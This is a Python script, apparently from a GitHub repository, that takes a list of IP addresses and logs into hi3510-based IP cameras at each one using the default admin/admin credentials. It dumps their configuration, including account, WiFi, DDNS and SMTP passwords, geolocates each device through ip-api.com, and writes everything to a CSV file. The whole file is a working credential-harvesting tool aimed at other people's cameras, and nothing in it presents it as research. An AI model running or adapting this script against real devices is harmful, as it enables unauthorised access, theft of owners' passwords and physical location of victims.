-
Notifications
You must be signed in to change notification settings - Fork 1
/
hipcamInfo.py
150 lines (125 loc) · 5.65 KB
/
hipcamInfo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#! /usr/bin/env python
# encoding: utf-8
import requests
import json
import random
import time
import re
def removeComma(str):
newStr = str.replace(",","")
return newStr
#Scans for WiFi - Non critical error. Appends wifi networks onto end of CSV
#! DO NOT FORGET TO WRITE /N ONTO ROW
def getWifi(ip, user, password, headers,f):
success = True
try:
r = requests.get(f"http://{ip}/web/cgi-bin/hi3510/param.cgi?cmd=searchwireless", headers=headers, timeout=3, verify=False)
cgi = str(r.text)
if "Error" in cgi:
print("Error Retrieving Wifi APs")
print(cgi)
success = False
else:
wifiAP = re.findall('"(.*?)"', str(r.text))
if wifiAP[0] > 0:
print("Found " + wifiAP[0] + " Access Points.")
f.write(str(wifiAP) + "\n")
else:
success = False
except Exception:
print("Connection Timeout")
success = False
if success:
print("Retrieved Nearby Wifi APs.")
else:
print("Error Retrieving Wifi APs")
f.write("\n")
def getNumLines(fileName):
with open(fileName) as f:
for i, l in enumerate(f):
pass
return i + 1
#Removes :XX from passed in IP
def removePort(ip):
portless = re.sub(r':(\d{1,5})', '', str(ip))
return portless
def getIPInfo(ip, f, headers):
#Get json response
r = requests.get("http://ip-api.com/json/" + removePort(ip), headers=headers, timeout=3, verify=False)
try:
#if the response doesnt contain HTML error code 200, continue
if r.status_code == 200 not in r.content:
country = ""
region = ""
isp = ""
city = ""
lat = ""
long = ""
organization = ""
asname = ""
ret = json.loads(r.content)
if ret["status"] == "success":
country = removeComma(ret["country"])
region = removeComma(ret["region"])
city = removeComma(ret["city"])
isp = removeComma(ret["isp"])
lat = removeComma(str(ret["lat"]))
long = removeComma(str(ret["lon"]))
organization = removeComma(ret["org"])
asname = removeComma(ret["as"])
geoData = country, region, city, isp, lat, long, organization, asname
print("Retrieved geographic data.")
f.write(str(geoData) + "\n")
else:
print("Error retrieving: " + ip)
except Exception:
print("Exception retrieving: " + ip)
def getCamInfo(ip, f, headers):
user = "admin"
password = "admin"
success = True
try:
r = requests.get(f"http://{ip}/web/cgi-bin/hi3510/param.cgi?usr={user}&pwd={password}&cmd=getserverinfo&cmd=getobjattr&cmd=getnetattr&cmd=getuserattr&cmd=getservertime&cmd=getinterip&cmd=getstreamnum&cmd=getourddnsattr&cmd=getinfrared&cmd=get3thddnsattr&cmd=getaudioflag&cmd=getdevtype&cmd=getwirelessattr&cmd=getsmtpattr&cmd=getftpattr", headers=headers, timeout=3, verify=False)
cgi = str(r.text)
if "Error" in cgi:
print("Error Retrieving Info for " + ip)
print(cgi)
success = False
else:
print("Retrieved camera data.")
camData = re.findall('"(.*?)"', str(r.text))
#Duplicates caused by getserverinfo, pop off the first 14 results
camData = camData[13:]
f.write(ip + "," + str(camData) + ",")
except Exception:
print("Connection Timeout")
success = False
if success:
#get wifi geolocation data
getIPInfo(ip, f, headers)
#print(camData[53])
#if wifi is ON
#if "1" in str(camData[53]):
# getWifi(ip, user, password, headers, f)
else:
print("Failed to process " + ip)
if __name__ == "__main__":
#File to write to:
filename = "admin1.csv"
#File with IPs seperated by /n
IPfile = "adminIPsmall.txt"
headers = {'User-Agent': "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre"}
numLines = getNumLines(IPfile)
with open(filename, "a", encoding="utf-8") as f:
# Camera Info: [0]
f.write("IP,CameraModel,HardwareVer,SoftwareVer,WebVer,CamName,StartupDate,UPNPStatus,DDNSConnection,DDNSStatus,PlatformStatus,SDStatus,SDFreeSpace,SDTotalSpace,ObjectStatus,ObjectUID,DHCPStatus,LocalIP,Netmask,Gateway,DNSStatus,DNS1IP,DNS2IP,MacAddress,NetworkType,User1,Password1,User1Level,User2,Password2,User2Level,User3,Password3,User3Level,Time,TimeZone,DSTStatus,WANIP,StreamNum,DDNSStatus,DDNSServer,DDNSPort,DDNSUser,DDNSPassword,DDNSDomain,DDNSInterval,IRStatus,DNSStatus,DNSService,DNSUser,DNSPassword,DNSDomain,AudioFlag,DeviceType,WifiStatus,WifiSSID,WifiAuth,WifiPassword,WifiEnc,WifiMode,SMTPServer,SMTPPort,SMTPSSL,SMTPLoginType,SMTPUser,SMTPPassword,SMTPFrom,SMTPTo,SMTPSubject,SMTPText,Country,Region,City,ISP,Latitude,Longitude,Organization,ASName, Wifi APs\n")
count = 1
for line in open(IPfile).readlines():
start = time.time()
ip = line.strip()
print("Processing " + ip + " (" + str(count) + "/" + str(numLines) + ")")
getCamInfo(ip, f, headers)
end = time.time()
count = count + 1
print("Processed in: " + str(round(end - start, 2)) + " seconds.\n")
f.close()